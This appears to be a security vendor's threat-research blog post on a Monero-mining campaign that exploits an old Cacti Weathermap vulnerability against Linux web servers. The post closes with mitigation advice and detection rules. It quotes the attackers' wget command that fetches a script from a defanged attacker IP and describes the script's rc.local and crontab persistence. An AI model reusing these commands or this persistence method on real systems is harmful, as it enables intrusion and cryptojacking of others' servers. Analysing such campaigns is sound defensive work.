Legitimate and large-scale cryptocurrency mining operations often invest in dedicated hardware and electric consumption to make a profit. This doesn’t escape the attention of cybercriminals: Malicious cryptocurrency mining was so pervasive last year that it was the most detected network event in devices connected to home routers.
Through our incident response-related monitoring, we observed intrusion attempts whose indicators we’ve been able to correlate to a previous cryptocurrency-mining campaign that used the JenkinsMiner malware. The difference: this campaign targets Linux servers. It’s also a classic case of reused vulnerabilities, as it exploits a rather outdated security flaw whose patch has been available for nearly five years.
Feedback from Trend Micro’s Smart Protection Network indicates it’s an active campaign, primarily affecting Japan, Taiwan, China, the U.S., and India.
Figure 1. Network intrusion attempts observed from the cryptocurrency-mining campaign
(December 2017 to mid-March 2018)
Figure 2. Country distribution of the malicious cryptocurrency-mining campaign
Attack chain analysis
This campaign’s operators were exploiting CVE-2013-2618, a dated vulnerability in Cacti’s Network Weathermap plug-in, which system administrators use to visualize network activity. As to why they’re exploiting an old security flaw: Network Weathermap only has two publicly reportedvulnerabilities so far, both from June 2014. It’s possible these attackers are taking advantage not only of a security flaw for which an exploit is readily available but also of patch lag that occurs in organizations that use the open-source tool.
Figure 3. Threat indicators showing how the Weathermap vulnerability is exploited
As seen above, we can see that:
- The blurred part is the target web server/port.
- The file /plugins/weathermap/configs/conn.php is the resulting file from the persistent cross-site scripting (XSS) on /plugins/weathermap/php.
- The ideal targets are Linux web servers (although Cacti and the plug-in can be installed on Windows as well).
Aside from the initial conn.php, we observed a similar HTTP request applying to a page called ‘cools.php’:
Figure 4. A similar HTTP request to cools.php
As seen above, these commands would be executed:
- wget watchd0g.sh hxxp://222[.]184[.]]79[.]11:5317/watchd0g[.]sh
//download the file with the use of wget, a default utility most Linux systems have
- chmod 775 watchd0g.sh
// make the file executable
// finally, make the file executable
The watchd0g.sh file contains the following code:
Figure 5. Code snapshot of watchd0g.sh
Code is written in /etc/rc.local, which means that each time a system is restarted, watchd0g.sh is executed. The modification of /etc/crontab results in watchd0g.sh being run every three minutes. It then modifies the Linux kernel parameter vm.nr_hugepages to the recommended value for mining Monero (XMR). It also ensures that the watchd0g.sh process runs or re-downloads and executes the file if it terminates.
Its main purpose is to download another file, dada.x86_64, (detected by Trend Micro as COINMINER_MALXMR.SM-ELF64) from the same server where watchd0g.sh was retrieved.
Analyzing the Linux XMRig miner
The final payload (dada.x86_64 as of 01/28/2018, earlier named as xig or nkrb) is a modified XMRig miner. XMRig is a legitimate, open-source XMR miner with multiple updated versions that supports both 32-bit and 64-bit Windows and Linux operating systems. XMRig displays the following when executed via command line:
Figure 6. dada.x86_64 executed via command line
XMRig should be executed along with a configuration file called ‘config.json’, or with parameters that specify/require details such as the algorithm to be used (CryptoNight/CryptoNight-Lite), maximum CPU usage, mining server, and login credentials (Monero wallet and password). The samples used in this attack were modified in a way that renders the configuration or parameters unnecessary. Everything is already embedded in its code. The command-line display also does not appear in most samples.
Figure 7. Parameters supposedly specified/required by the miner
Following the Monero trail
We gathered five possible samples that led us to two unique login usernames, matching the Monero wallets where the mining pool payments are sent.
The attackers mined approximately 320 XMR or about $74,677 (as of March 21, 2018) based on the two wallets. Note that this is only a small portion of the profit for this entire campaign. Earlier reportsof the same campaign uncovered $3 million worth of XMR from a single Monero wallet.
Figure 8. Samples containing the Monero wallets
Conclusion and mitigation
The campaign’s attack chain requires the following:
- A web server running Linux (x86-64), given the custom XMRig Miner 64-bit ELFs
- The web server should be publicly accessible
- Cacti (an open-source, web-based network monitoring and graphing tool) had to be implemented with the Plugin Architecture working and an outdated Network Weathermap (0.97a and prior)
- The web server hosting Cacti does not require authentication to access the web site resource
- For perfect execution, the web server should be running with ‘root’ (or equivalent) permissions (some of the commands in sh require root privileges)
The first two are almost a given, but the last three raise eyebrows: Why would one want to share network data publicly (Cacti)? Is the web server really being run as ‘root’?
Data from Cacti should be properly kept internal to the environment. Having this data exposed represents a huge risk in terms of operational security. While this allows systems or network administrators to conveniently monitor their environments (with just a browser bookmark, for instance), it also does the same for threat actors. There are alternatives that do the same thing, but countermeasures should be taken to harden and secure the systems from compromise or abuse. Naturally, keeping systems updated with the latest patches (or employing virtual patching for legacy systems/networks) can also make it more difficult for potential attackers.
A proactive incident response strategy that includes actively hunting and responding to threats also helps provide more visibility into attacks that may be overlooked by traditional security solutions. Identifying the techniques also empowers organizations with actionable intelligence that can help create stronger benchmarks for response.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update. Trend Micro™ Deep Discovery Inspector™ protects customers from this attack via these DDI rule:
- DDI Rule ID 2452: Wget Commandline Injection
Trend Micro™ Deep Security and Vulnerability Protection protect users from threats that may target the aforementioned vulnerability (or use XSS attack) via the following DPI rules:
- 1005934 – Identified Suspicious Command Injection Attack
- 1006823 – Identified Suspicious Command Injection Attack – 1
- 1000552 – Generic Cross Site Scripting(XSS) Prevention
Trend Micro™ TippingPoint™ customers are protected from the aforementioned threat via this MainlineDV filter:
- 3886: HTTP: Cross Site Scripting in POST Request
Indicators of Compromise
Trend Micro also identified the attacking IP addresses. However, since the nature of machines indicates they can be remotely controlled, it would not be worthwhile to list them. Our research also led us to a possible tool written in Python that was used in this campaign, using the HTTP User-Agent ‘python-requests/2.18.4’.
(Visited 47 times, 1 visits today)